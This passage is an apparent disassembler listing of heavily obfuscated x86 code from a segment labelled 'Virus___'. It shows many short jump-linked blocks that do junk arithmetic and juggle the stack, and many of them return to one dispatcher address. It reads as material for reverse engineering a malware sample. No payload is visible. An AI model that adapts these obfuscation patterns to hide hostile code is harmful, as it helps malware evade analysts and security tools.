CODE XREF: Virus___:0055024Fj pop esp mov [esp], ecx mov ecx, 6FD9075Eh dec ecx inc ecx add ecx, 0F1113D35h xor ecx, 2A591648h push edx mov edx, 0D0C0F0Ah add ecx, edx pop edx and edx, ecx mov ecx, [esp] add esp, 4 push eax jmp loc_55F282 ; --------------------------------------------------------------------------- loc_55ED91: ; CODE XREF: Virus___:0055290Fj mov eax, [esp] add esp, 4 push 4DFDh mov [esp], ecx push esp pop ecx jmp loc_564334 ; --------------------------------------------------------------------------- loc_55EDA9: ; CODE XREF: Virus___:00563314j pop edi add esp, 4 not si sub si, 2A44h and si, 8A1h push dx push ebx jmp loc_5629A8 ; --------------------------------------------------------------------------- loc_55EDC2: ; CODE XREF: Virus___:00558F7Ej add edx, 1AF72E35h jmp loc_560B8A ; --------------------------------------------------------------------------- loc_55EDCD: ; CODE XREF: Virus___:0055672Fj mov [esp], esi push dword ptr [esp] pop ecx jmp loc_55AB3B ; --------------------------------------------------------------------------- loc_55EDD9: ; CODE XREF: Virus___:0055FB61j pop dword ptr [esp] pop esp push 77F0h jmp loc_550377 ; --------------------------------------------------------------------------- loc_55EDE7: ; CODE XREF: Virus___:00564645j or bl, 60h xor bl, 2Fh jmp loc_560948 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push ebx push esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_55347E ; --------------------------------------------------------------------------- loc_55EE04: ; CODE XREF: Virus___:0055AA56j add eax, 22830054h sub eax, ebx sub eax, 22830054h pop ebx pop edi sub esp, 4 mov [esp], ecx jmp loc_553022 ; --------------------------------------------------------------------------- loc_55EE20: ; CODE XREF: Virus___:00556034j push edi sub esp, 4 mov [esp], ebx mov ebx, 4E113E48h jmp loc_55C38C ; --------------------------------------------------------------------------- loc_55EE31: ; CODE XREF: Virus___:00559DEBj mov bh, 6Ch push ecx mov ch, 73h sub bh, 0D8h jmp loc_5648BD ; --------------------------------------------------------------------------- loc_55EE3E: ; CODE XREF: Virus___:00564A64j mov [esp], ebx mov edi, [esp] add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 push edi push dword ptr [esp+4] jmp loc_55E324 ; --------------------------------------------------------------------------- loc_55EE60: ; CODE XREF: Virus___:00555FD9j pop esp sub esp, 4 mov [esp], ebx jmp loc_550BCA ; --------------------------------------------------------------------------- loc_55EE6C: ; CODE XREF: Virus___:00550D12j push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5604C4 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55FE81 ; --------------------------------------------------------------------------- loc_55EEA0: ; CODE XREF: Virus___:005511B3j xor ebp, ecx jmp loc_55B3C1 ; --------------------------------------------------------------------------- loc_55EEA7: ; CODE XREF: Virus___:005608E2j add ebp, 0E22AED61h mov eax, ebp jmp loc_559101 ; --------------------------------------------------------------------------- loc_55EEB4: ; CODE XREF: Virus___:0055B013j sub ebp, eax jmp loc_55D7D1 ; --------------------------------------------------------------------------- loc_55EEBB: ; CODE XREF: Virus___:00561F38j pop esp mov [esp], ebx mov ebx, esp jmp loc_558FEF ; --------------------------------------------------------------------------- loc_55EEC6: ; CODE XREF: Virus___:00559E90j push esi mov si, 1B4h shr si, 3 shr si, 7 inc si not si dec si xor si, 0DF4Eh mov cx, si pop esi xor di, cx pop cx xor ax, di mov edi, [esp] push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp push small 77D6h mov [esp], cx push 5B98h mov [esp], ebx mov bx, 5BA8h jmp loc_550A66 ; --------------------------------------------------------------------------- loc_55EF18: ; CODE XREF: Virus___:0055909Aj add edx, 4 xchg edx, [esp] pop esp sub eax, 54B068EEh add eax, 4CEB387Fh add eax, ebx jmp loc_556C28 ; --------------------------------------------------------------------------- loc_55EF30: ; CODE XREF: Virus___:0055B8D0j mov [esp], edx neg dword ptr [esp] jmp loc_557729 ; --------------------------------------------------------------------------- loc_55EF3B: ; CODE XREF: Virus___:00554D38j pop ebp jmp loc_55D534 ; --------------------------------------------------------------------------- loc_55EF41: ; CODE XREF: Virus___:00559D20j add ebp, edi pop edi xchg ebp, [esp] jmp loc_556873 ; --------------------------------------------------------------------------- loc_55EF4C: ; CODE XREF: Virus___:0056097Fj mov edi, 5BD12F9Ah xor ecx, edi pop edi xor ecx, 2E90736Eh jmp loc_55F83A ; --------------------------------------------------------------------------- loc_55EF5F: ; CODE XREF: Virus___:00558249j pop ebx xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] or [esp], al pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55EF75: ; CODE XREF: Virus___:005576F9j push ecx mov cl, 0F8h jmp loc_5567C7 ; --------------------------------------------------------------------------- loc_55EF7D: ; CODE XREF: Virus___:005521A2j mov esp, [esp] mov [esp], ecx jmp loc_54F8B7 ; --------------------------------------------------------------------------- loc_55EF88: ; CODE XREF: Virus___:00559317j mov ecx, esp add ecx, 4 push esi mov esi, 5B0E1C63h jmp loc_551578 ; --------------------------------------------------------------------------- loc_55EF9B: ; CODE XREF: Virus___:00557637j xor edx, esi pop esi xor edx, 1BA578C1h xor ecx, edx pop edx mov esi, ecx pop ecx add eax, 6C2121C4h sub eax, esi sub eax, 6C2121C4h pop esi add ebx, eax pop eax xor ebx, [esp] jmp loc_56145B ; --------------------------------------------------------------------------- loc_55EFC2: ; CODE XREF: Virus___:0055E5A8j mov ebp, [esp] sub esp, 4 mov [esp], edx jmp loc_55A802 ; --------------------------------------------------------------------------- loc_55EFD0: ; CODE XREF: Virus___:0056091Dj mov [esp], edx jmp loc_56298B ; --------------------------------------------------------------------------- loc_55EFD8: ; CODE XREF: Virus___:00560B08j sub esp, 4 mov [esp], edx jmp loc_561597 ; --------------------------------------------------------------------------- loc_55EFE6: ; CODE XREF: Virus___:0055D42Dj sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], eax mov eax, esp push 34ADh mov [esp], edi mov edi, 270F36C0h shl edi, 5 shl edi, 6 xor edi, 79B60004h add eax, edi jmp loc_5548F0 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55F01F: ; CODE XREF: Virus___:0055F9FDj push eax push 29F60E21h pop eax and eax, 2315628Eh add eax, 0BE6BDD7Ch mov ebp, eax jmp loc_55CB9F ; --------------------------------------------------------------------------- loc_55F037: ; CODE XREF: Virus___:0055FE82j push esi mov esi, esp push ebx mov ebx, 5A72E59h or ebx, 428F74B9h sub ebx, 47AF7EF5h add esi, ebx pop ebx add esi, 4 jmp loc_5607A1 ; --------------------------------------------------------------------------- mov ax, [esp] push esi sub esp, 4 mov [esp], esp jmp loc_562E8B ; --------------------------------------------------------------------------- loc_55F067: ; CODE XREF: Virus___:00554245j add esp, 4 add edi, ecx jmp loc_556623 ; --------------------------------------------------------------------------- loc_55F074: ; CODE XREF: Virus___:0055C4A1j add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_553D4F ; --------------------------------------------------------------------------- loc_55F088: ; CODE XREF: Virus___:00559BE5j mov esi, [esp] add esp, 4 pop ebp add edx, esi jmp loc_555EBF ; --------------------------------------------------------------------------- loc_55F099: ; CODE XREF: Virus___:00552794j sub edi, 2 jmp loc_55B399 ; --------------------------------------------------------------------------- loc_55F0A1: ; CODE XREF: Virus___:00550B6Cj push dword ptr [esp] jmp loc_558211 ; --------------------------------------------------------------------------- loc_55F0A9: ; CODE XREF: Virus___:00550960j add ebx, 4 jmp loc_55BF5D ; --------------------------------------------------------------------------- loc_55F0B4: ; CODE XREF: Virus___:00555DABj sub esp, 4 mov [esp], edx push ecx jmp loc_55C417 ; --------------------------------------------------------------------------- loc_55F0C0: ; CODE XREF: Virus___:00553A7Cj mov eax, 89D135Dh push eax dec dword ptr [esp] not dword ptr [esp] pop eax or eax, 770E2F41h shl eax, 8 push ebp mov ebp, 319C5A47h inc ebp not ebp shr ebp, 4 xor ebp, 1E5B6A40h sub eax, ebp pop ebp add eax, 0A3CD6D1Ch add edi, eax push dword ptr [esp] pop eax add esp, 4 push ebp sub esp, 4 jmp loc_55E09C ; --------------------------------------------------------------------------- loc_55F101: ; CODE XREF: Virus___:00552129j mov bh, 70h add cl, bh jmp loc_55A2AF ; --------------------------------------------------------------------------- loc_55F10A: ; CODE XREF: Virus___:00561748j mov ebp, ebx pop ebx jmp loc_558F3A ; --------------------------------------------------------------------------- loc_55F112: ; CODE XREF: Virus___:0055B730j push edx mov edx, 17E818D5h and ebp, edx mov edx, [esp] add esp, 4 jmp loc_56362C ; --------------------------------------------------------------------------- loc_55F128: ; CODE XREF: Virus___:0055BA3Bj xor ecx, [esp] pop esp rol word ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55F136: ; CODE XREF: Virus___:00555D75j sub ax, bx pop ebx pop cx jmp loc_5530EC ; --------------------------------------------------------------------------- loc_55F141: ; CODE XREF: Virus___:00557E99j mov [esp], esi mov esi, 67DD35DAh jmp loc_56289E ; --------------------------------------------------------------------------- loc_55F14E: ; CODE XREF: Virus___:00563B0Cj mov [esp], ebx push 3EDA6BCFh mov ebx, [esp] push ebx jmp loc_5583EC ; --------------------------------------------------------------------------- loc_55F15F: ; CODE XREF: Virus___:00561EF2j sub esp, 4 mov [esp], ecx jmp loc_554B7F ; --------------------------------------------------------------------------- loc_55F16D: ; CODE XREF: Virus___:00557514j pop eax push ecx mov ecx, 1 jmp loc_5566C1 ; --------------------------------------------------------------------------- loc_55F179: ; CODE XREF: Virus___:005523D3j sub edx, 566F63B2h add edx, esi jmp loc_551528 ; --------------------------------------------------------------------------- loc_55F186: ; CODE XREF: Virus___:0055ADCDj mov ebx, ebp pop ebp jmp loc_54FB6B ; --------------------------------------------------------------------------- loc_55F18E: ; CODE XREF: Virus___:0056378Ej push esi mov esi, 0C303865h add eax, 99E56DAh jmp loc_56229E ; --------------------------------------------------------------------------- loc_55F19E: ; CODE XREF: Virus___:005567ADj shl edx, 3 not edx shr edx, 4 add edx, 45484308h push edi mov edi, 727113D1h add eax, edi jmp loc_563994 ; --------------------------------------------------------------------------- loc_55F1B9: ; CODE XREF: Virus___:00557B35j xchg esi, [esp] mov esp, [esp] jmp loc_55BE36 ; --------------------------------------------------------------------------- loc_55F1C4: ; CODE XREF: Virus___:005621BFj pop ebp add edi, 4 xchg edi, [esp] jmp loc_55C274 ; --------------------------------------------------------------------------- loc_55F1D3: ; CODE XREF: Virus___:005537D3j pop ecx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebx jmp loc_55AE97 ; --------------------------------------------------------------------------- loc_55F1ED: ; CODE XREF: Virus___:0055E292j push 6D496DCDh jmp loc_553C36 ; --------------------------------------------------------------------------- loc_55F1F7: ; CODE XREF: Virus___:00559C69j not byte ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_55493C ; --------------------------------------------------------------------------- loc_55F205: ; CODE XREF: Virus___:0055A84Ej add esp, 4 xor esi, [esp] jmp loc_550263 ; --------------------------------------------------------------------------- loc_55F213: ; CODE XREF: Virus___:00556305j add ebx, esi pop esi xchg ebx, [esp] pop esp push 7A8Ah jmp loc_557A70 ; --------------------------------------------------------------------------- loc_55F224: ; CODE XREF: Virus___:00557C2Ej sub ebp, 535A6326h push dword ptr [esp] pop esi add esp, 4 push 527h mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp add esp, 4 pop dword ptr [esp] jmp loc_55D192 ; --------------------------------------------------------------------------- loc_55F252: ; CODE XREF: Virus___:00559ADCj pop edx pop ecx mov edi, ebx push dword ptr [esp] pop ebx add esp, 4 and eax, edi pop edi or eax, eax jz loc_55A035 push 6CAEh jmp loc_55630A ; --------------------------------------------------------------------------- loc_55F275: ; CODE XREF: Virus___:00555541j push 414Fh mov [esp], esi jmp loc_55A9D1 ; --------------------------------------------------------------------------- loc_55F282: ; CODE XREF: Virus___:0055ED8Cj mov eax, 0F480DDBh xor edx, eax jmp loc_55F887 ; --------------------------------------------------------------------------- loc_55F28E: ; CODE XREF: Virus___:00561E52j push edx mov dl, 0D2h add bl, 64h add bl, dl sub bl, 64h pop edx add bl, ah sub bl, 0D2h jmp loc_5581A9 ; --------------------------------------------------------------------------- loc_55F2A4: ; CODE XREF: Virus___:0055AF8Ej add esi, edx mov edx, [esp] add esp, 4 xchg esi, [esp] pop esp jmp loc_553887 ; --------------------------------------------------------------------------- loc_55F2B8: ; CODE XREF: Virus___:0055DCCFj mov edx, [esp] push esi mov esi, esp jmp loc_5518EA ; --------------------------------------------------------------------------- loc_55F2C3: ; CODE XREF: Virus___:00554C81j mov esi, [esp] add esp, 4 jmp loc_55C409 ; --------------------------------------------------------------------------- loc_55F2D1: ; CODE XREF: Virus___:00561612j push eax xor dword ptr [esp], 175614C8h pop ecx xor ecx, 175614C8h pop eax shr ecx, 1 push 62A8h mov [esp], edi push edx mov edx, 11FC7EDCh jmp loc_55DDDD ; --------------------------------------------------------------------------- loc_55F2F6: ; CODE XREF: Virus___:0055DEFBj add esp, 4 not ebp xor edx, ebp xor ebp, edx xor edx, ebp dec edx xor edx, 8807B910h mov eax, edx pop edx jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55F313: ; CODE XREF: Virus___:00550E71j pop edi sub edi, 7CD4182Ah jmp loc_558CE7 ; --------------------------------------------------------------------------- loc_55F31F: ; CODE XREF: Virus___:0055A3C6j add ch, dh jmp loc_55528D ; --------------------------------------------------------------------------- loc_55F326: ; CODE XREF: Virus___:00552D97j dec byte ptr [esp+1] pop ecx push edx jmp loc_550702 ; --------------------------------------------------------------------------- loc_55F331: ; CODE XREF: Virus___:0055E088j pop eax shl esi, 6 sub esi, 4C711D97h push 5CB2h jmp loc_55B150 ; --------------------------------------------------------------------------- loc_55F345: ; CODE XREF: Virus___:0055C003j pop edx jmp loc_55950F ; --------------------------------------------------------------------------- loc_55F34B: ; CODE XREF: Virus___:00562EE4j mov [esp], ecx mov cl, 0C0h xor cl, 66h mov al, cl pop ecx sub al, bh pop ebx xchg dl, al neg dl xchg dl, al jmp loc_560426 ; --------------------------------------------------------------------------- loc_55F364: ; CODE XREF: Virus___:00556BC3j mov [esp], ecx mov ecx, 775A776Ch jmp loc_554574 ; --------------------------------------------------------------------------- loc_55F371: ; CODE XREF: Virus___:005619CEj add esp, 4 mov eax, 139189Bh sub eax, 264C55A9h sub eax, 7D0E0A27h sub eax, ebx jmp loc_554FAE ; --------------------------------------------------------------------------- loc_55F38D: ; CODE XREF: Virus___:00559FCDj add eax, 4 jmp loc_55ACC1 ; --------------------------------------------------------------------------- loc_55F397: ; CODE XREF: Virus___:0056117Aj mov esi, 799F7E3Bh xor eax, esi jmp loc_55EC2A ; --------------------------------------------------------------------------- loc_55F3A3: ; CODE XREF: Virus___:00552059j push ebx xor dword ptr [esp], 34952BBDh pop eax xor eax, 34952BBDh pop ebx push esi mov esi, 382304D9h inc esi not esi not esi jmp loc_560C36 ; --------------------------------------------------------------------------- loc_55F3C2: ; CODE XREF: Virus___:00558EB3j sub eax, 12E6688h or eax, 46754CFCh jmp loc_54F9F8 ; --------------------------------------------------------------------------- loc_55F3D1: ; CODE XREF: Virus___:005573CAj sub ebp, 4BAE0955h pop edx push ebp jmp loc_5534E0 ; --------------------------------------------------------------------------- loc_55F3DE: ; CODE XREF: Virus___:00557ADAj mov edx, 4 jmp loc_56044F ; --------------------------------------------------------------------------- loc_55F3E8: ; CODE XREF: Virus___:00557D1Aj sub esp, 4 mov [esp], ecx jmp loc_554EC4 ; --------------------------------------------------------------------------- loc_55F3F6: ; CODE XREF: Virus___:00557AFFj not ch add ch, 5Dh jmp loc_556CE5 ; --------------------------------------------------------------------------- loc_55F400: ; CODE XREF: Virus___:00561CE1j pop edx jmp loc_55291A ; --------------------------------------------------------------------------- loc_55F406: ; CODE XREF: Virus___:00559CF2j sub edx, ebp pop ebp push 0 sub [esp], edx jmp loc_55771D ; --------------------------------------------------------------------------- loc_55F416: ; CODE XREF: Virus___:0055DFE9j push esi mov esi, 187E7CCCh not esi dec esi sub esi, 4F665FECh push eax mov eax, 0BB29C6BAh jmp loc_559979 ; --------------------------------------------------------------------------- loc_55F430: ; CODE XREF: Virus___:0055A7DCj mov edi, esp add edi, 4 jmp loc_55608C ; --------------------------------------------------------------------------- loc_55F43D: ; CODE XREF: Virus___:005609A2j mov ecx, [esp] push esi mov esi, esp jmp loc_551534 ; --------------------------------------------------------------------------- loc_55F448: ; CODE XREF: Virus___:00555EB2j push esp pop ecx push ebp mov ebp, 4FE56314h sub ebp, 10ED3B78h shr ebp, 3 jmp loc_551096 ; --------------------------------------------------------------------------- loc_55F45E: ; CODE XREF: Virus___:005636A0j pop ebx jmp loc_563EA3 ; --------------------------------------------------------------------------- loc_55F464: ; CODE XREF: Virus___:00551F9Ej mov edx, 34F23289h jmp loc_5541D9 ; --------------------------------------------------------------------------- loc_55F46E: ; CODE XREF: Virus___:00561368j mov ebp, [esp] add esp, 4 push dword ptr [esp] pop ecx push edx mov edx, esp push ebp mov ebp, 66F75066h and ebp, 770F32ADh jmp loc_563321 ; --------------------------------------------------------------------------- loc_55F48F: ; CODE XREF: Virus___:0055389Fj pop ebx or cl, 37h push 4514h mov [esp], ebx push ecx jmp loc_551BDB ; --------------------------------------------------------------------------- loc_55F4A1: ; CODE XREF: Virus___:00556456j xor edx, eax jmp loc_552FC3 ; --------------------------------------------------------------------------- loc_55F4A8: ; CODE XREF: Virus___:00563ABDj push ecx mov ecx, 4 sub ebp, ecx pop ecx xchg ebp, [esp] pop esp mov [esp], esi push 37E01E86h pop esi jmp loc_55317F ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push small 2E88h mov [esp], ax jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55F4D4: ; CODE XREF: Virus___:0055EC91j mov ebp, 77FD2A90h sub ecx, ebp pop ebp sub ecx, eax push ebp push 7677045h mov ebp, [esp] add esp, 4 push esi jmp loc_563235 ; --------------------------------------------------------------------------- loc_55F4F3: ; CODE XREF: Virus___:00551F25j push ecx jmp loc_564A9C ; --------------------------------------------------------------------------- loc_55F4F9: ; CODE XREF: Virus___:00555257j pop esp jmp loc_558B79 ; --------------------------------------------------------------------------- loc_55F4FF: ; CODE XREF: Virus___:005505AAj mov edx, 21DB49CCh xor edx, 477B0364h push edx pop ecx pop edx jmp loc_5530D9 ; --------------------------------------------------------------------------- loc_55F512: ; CODE XREF: Virus___:0055A31Ej pop dword ptr [esp] mov esp, [esp] mov eax, [esp] push 46B6h mov [esp], esi push 15F8h mov [esp], esp add dword ptr [esp], 4 jmp loc_564C76 ; --------------------------------------------------------------------------- loc_55F537: ; CODE XREF: Virus___:005602ACj add ecx, ebx pop ebx add ecx, eax push edi mov edi, 47895E3Fh sub ecx, 7FA2CBAh add ecx, 4DAA2098h sub ecx, edi sub ecx, 4DAA2098h add ecx, 7FA2CBAh pop edi mov eax, [esp] add esp, 4 jmp loc_5534B3 ; --------------------------------------------------------------------------- loc_55F56B: ; CODE XREF: Virus___:005544DBj pop ecx sub esi, 0FFFFFFFFh xor esi, 79C54E2Bh push edx mov edx, 5FDE10BEh not edx sub edx, 8E2FE172h xor esi, edx jmp loc_563BB3 ; --------------------------------------------------------------------------- loc_55F58A: ; CODE XREF: Virus___:0055C5CBj shl edx, 8 xor edx, 6868512Fh jmp loc_561D29 ; --------------------------------------------------------------------------- loc_55F598: ; CODE XREF: Virus___:00564071j sub bl, 0CDh jmp loc_560D53 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55F5A7: ; CODE XREF: Virus___:005517A9j pop eax pop dword ptr [esp] push 4189h mov [esp], ecx mov ecx, 4 jmp loc_564491 ; --------------------------------------------------------------------------- loc_55F5BD: ; CODE XREF: Virus___:0055DB98j neg ebp add ebp, 25C0713h xor eax, ebp pop ebp sub esp, 4 jmp loc_5501D6 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_561E0F ; --------------------------------------------------------------------------- loc_55F5DF: ; CODE XREF: Virus___:00563FA1j xor esi, 71604841h dec esi or esi, 7A77488Ch add esi, 1 add esi, 8488A134h add ecx, esi pop esi push edi push esi jmp loc_55571C ; --------------------------------------------------------------------------- loc_55F602: ; CODE XREF: Virus___:00558D2Bj add ebp, 25890796h sub ebp, 0FED75011h add eax, 7391302Eh add eax, ebp sub eax, 7391302Eh pop ebp jmp loc_5595A7 ; --------------------------------------------------------------------------- loc_55F620: ; CODE XREF: Virus___:00556F2Fj mov ecx, 5ED72D71h sub edi, 2808281Eh add edi, 78010B1Ah add edi, ecx jmp loc_560FBF ; --------------------------------------------------------------------------- loc_55F638: ; CODE XREF: Virus___:00563205j push eax mov eax, esp add eax, 4 push edi mov edi, 4 jmp loc_55AF0D ; --------------------------------------------------------------------------- loc_55F64B: ; CODE XREF: Virus___:005627DDj push edi mov edi, 3003A95h mov ebp, 6D5E797Ch sub ebp, edi jmp loc_5543F5 ; --------------------------------------------------------------------------- loc_55F65D: ; CODE XREF: Virus___:00552D80j pop ecx mov cl, 36h jmp loc_556BC8 ; --------------------------------------------------------------------------- loc_55F665: ; CODE XREF: Virus___:0054FEB1j push edi mov edi, esp add edi, 4 jmp loc_55ADAD ; --------------------------------------------------------------------------- loc_55F673: ; CODE XREF: Virus___:0054FEC5j pop edx add ebx, ecx pop ecx jmp loc_554309 ; --------------------------------------------------------------------------- loc_55F67C: ; CODE XREF: Virus___:00560F83j add esi, 90E2455h sub esi, 16A501DEh add esi, eax add esi, 16A501DEh push eax mov eax, 90E2455h sub esi, 4A62ED8h sub esi, eax push ebx mov ebx, 237E3F08h shr ebx, 5 push edx push ecx mov ecx, 57471BCFh mov edx, ecx jmp loc_559D5E ; --------------------------------------------------------------------------- loc_55F6B5: ; CODE XREF: Virus___:0056374Dj add esp, 4 push esi push esp pop esi jmp loc_563C6F ; --------------------------------------------------------------------------- loc_55F6C3: ; CODE XREF: Virus___:0055D7F5j mov ecx, 8EA3267h jmp loc_5565E3 ; --------------------------------------------------------------------------- loc_55F6CD: ; CODE XREF: Virus___:00558520j add dword ptr [esp], 4 push dword ptr [esp] pop ebx add esp, 4 add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_55058B ; --------------------------------------------------------------------------- loc_55F6F2: ; CODE XREF: Virus___:0056167Ej mov eax, 666416CBh sub eax, 0F177B6E1h mov ebx, eax jmp loc_55B3D2 ; --------------------------------------------------------------------------- loc_55F703: ; CODE XREF: Virus___:005594A1j add ebx, eax push ecx jmp loc_55A419 ; --------------------------------------------------------------------------- loc_55F70B: ; CODE XREF: Virus___:00556A3Dj push dword ptr [esp] pop edi add esp, 4 push 481Ch mov [esp], edx push ecx mov ecx, 0C9D3FD0h mov edx, ecx pop ecx push 242Ah mov [esp], edx jmp loc_56182E ; --------------------------------------------------------------------------- loc_55F730: ; CODE XREF: Virus___:0055DCA6j mov [esp], eax push edx mov edx, esp add edx, 4 push esi mov esi, 4 jmp loc_55D232 ; --------------------------------------------------------------------------- loc_55F747: ; CODE XREF: Virus___:0055A70Dj push edi mov edi, 6A09352Fh sub eax, edi mov edi, [esp] add esp, 4 push dword ptr [esp] pop ebp add esp, 4 push 3566h mov [esp], edx push ebx jmp loc_563581 ; --------------------------------------------------------------------------- lodsd jmp loc_562928 ; --------------------------------------------------------------------------- loc_55F773: ; CODE XREF: Virus___:0055CB79j or esi, 4D65725Eh push ebp mov ebp, 0DBE1977Ch add esi, ebp pop ebp jmp loc_55CB8F ; --------------------------------------------------------------------------- loc_55F787: ; CODE XREF: Virus___:0055A7C2j push ebp mov ebp, 671115DAh neg ebp or ebp, 1B3302C2h jmp loc_564856 ; --------------------------------------------------------------------------- loc_55F79A: ; CODE XREF: Virus___:005637EFj push 4DE8h mov [esp], esi xor [esp], eax xor eax, [esp] jmp loc_5541C5 ; --------------------------------------------------------------------------- loc_55F7AD: ; CODE XREF: Virus___:00564B10j pop ebx add bl, dl mov dx, [esp] add esp, 2 movzx eax, al push dword ptr [edi+eax*4] push 16A9h mov [esp], edx mov edx, 5D9B35FCh push ebx jmp loc_557CA2 ; --------------------------------------------------------------------------- loc_55F7D0: ; CODE XREF: Virus___:0055737Bj mov edi, ecx mov ecx, [esp] add esp, 4 xor edi, 3748669Fh add edi, 0F0E7A815h sub eax, edi mov edi, [esp] add esp, 4 xchg eax, [esp] pop esp mov [esp], ecx push esi mov esi, 77216EF9h add esi, 86E5ADBh push eax mov eax, 7A356B38h sub esi, eax pop eax jmp loc_560312 ; --------------------------------------------------------------------------- loc_55F810: ; CODE XREF: Virus___:005520ADj xor ebp, edi pop edi jmp loc_563B11 ; --------------------------------------------------------------------------- loc_55F818: ; CODE XREF: Virus___:0055E920j shr edx, 7 shl edx, 2 add edx, 7B73DC1h sub edx, 7B733FECh sub edx, ecx add edx, 7B733FECh mov ecx, [esp] jmp loc_560CB3 ; --------------------------------------------------------------------------- loc_55F83A: ; CODE XREF: Virus___:0055EF5Aj push ebp mov ebp, 79162A68h jmp loc_5529B0 ; --------------------------------------------------------------------------- loc_55F845: ; CODE XREF: Virus___:00561B9Fj mov esi, 48D70CC2h sub esi, 48D70CA2h mov ebx, esi pop esi jmp loc_5632CE ; --------------------------------------------------------------------------- loc_55F858: ; CODE XREF: Virus___:0056248Aj push 6BFDh mov [esp], edi mov edi, 2A7C3CD8h add eax, 74A8138Fh add eax, edi sub eax, 74A8138Fh pop edi push 60A1h mov [esp], edx push ebp push ecx sub esp, 4 mov [esp], edx jmp loc_551AF7 ; --------------------------------------------------------------------------- loc_55F887: ; CODE XREF: Virus___:0055F289j pop eax add eax, edx pop edx jmp loc_558A01 ; --------------------------------------------------------------------------- loc_55F890: ; CODE XREF: Virus___:00551A12j mov dl, 0EFh add ah, dl pop dx sub cl, ah jmp loc_55B12D ; --------------------------------------------------------------------------- loc_55F89D: ; CODE XREF: Virus___:00564539j dec edx jmp loc_555C6A ; --------------------------------------------------------------------------- loc_55F8A3: ; CODE XREF: Virus___:00562BF2j pop esp push dword ptr [eax] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55F8AB: ; CODE XREF: Virus___:0055EA46j mov [esp], eax mov eax, 36640469h mov ebx, eax pop eax mov eax, 3664046Dh sub eax, ebx pop ebx add ecx, eax jmp loc_55870A ; --------------------------------------------------------------------------- loc_55F8C5: ; CODE XREF: Virus___:00551447j sub dword ptr [esp], 20F113D2h pop ebp jmp loc_557CFB ; --------------------------------------------------------------------------- loc_55F8D2: ; CODE XREF: Virus___:0055DC67j push dword ptr [esp] push dword ptr [esp] mov eax, [esp] push esi mov esi, esp jmp loc_561D6E ; --------------------------------------------------------------------------- loc_55F8E3: ; CODE XREF: Virus___:005552EBj add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], ebx push esp mov ebx, [esp] add esp, 4 jmp loc_5573E6 ; --------------------------------------------------------------------------- loc_55F905: ; CODE XREF: Virus___:005565D3j add ebp, 697AC22Fh push ebp mov edi, [esp] jmp loc_562105 ; --------------------------------------------------------------------------- loc_55F914: ; CODE XREF: Virus___:0055AB83j pop eax add esi, 0BAD269F8h mov eax, 1BBD45A4h add eax, 21C870C1h sub eax, esi sub eax, 21C870C1h mov esi, [esp] add esp, 4 add edi, eax mov eax, [esp] add esp, 4 jmp loc_563CD7 ; --------------------------------------------------------------------------- loc_55F942: ; CODE XREF: Virus___:00558595j push ebp push 2F6B7D6Ah mov ebp, [esp] add esp, 4 xchg ecx, ebp not ecx xchg ecx, ebp push edi jmp loc_559C75 ; --------------------------------------------------------------------------- loc_55F95D: ; CODE XREF: Virus___:00563981j mov [esp], ebx push edx push 53B76B0h pop edx sub edx, 0FFFFFFFFh push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi jmp loc_556477 ; --------------------------------------------------------------------------- loc_55F982: ; CODE XREF: Virus___:0055E3CEj mov ebp, 61C13675h mov edi, 0DD787B3Dh push ebx jmp loc_5564C0 ; --------------------------------------------------------------------------- loc_55F992: ; CODE XREF: Virus___:00552697j mov edx, [esp] push 4827h mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebp mov ebp, 7B081695h xor ebp, 37BB76C0h xor edi, ebp pop ebp push 4F50h mov [esp], edi mov edx, [esp] add esp, 4 push dword ptr [esp] push dword ptr [esp] mov edi, [esp] add esp, 4 push eax mov eax, esp add eax, 4 push ecx mov ecx, 4 add eax, ecx jmp loc_55702A ; --------------------------------------------------------------------------- loc_55F9F0: ; CODE XREF: Virus___:0055AEA9j pop edi xchg edx, [esp] jmp loc_55E02C ; --------------------------------------------------------------------------- loc_55F9F9: ; CODE XREF: Virus___:00551208j shl ecx, 7 push ebp jmp loc_55F01F ; --------------------------------------------------------------------------- loc_55FA02: ; CODE XREF: Virus___:0055FFDDj mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5649EA ; --------------------------------------------------------------------------- loc_55FA1D: ; CODE XREF: Virus___:005628E2j mov ebp, esp jmp loc_55099B ; --------------------------------------------------------------------------- loc_55FA24: ; CODE XREF: Virus___:00551CA6j bt [esp], ax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55FA2F: ; CODE XREF: Virus___:0055C736j push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] and [esp], ax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55FA44: ; CODE XREF: Virus___:00555269j add edx, 11A6D741h jmp 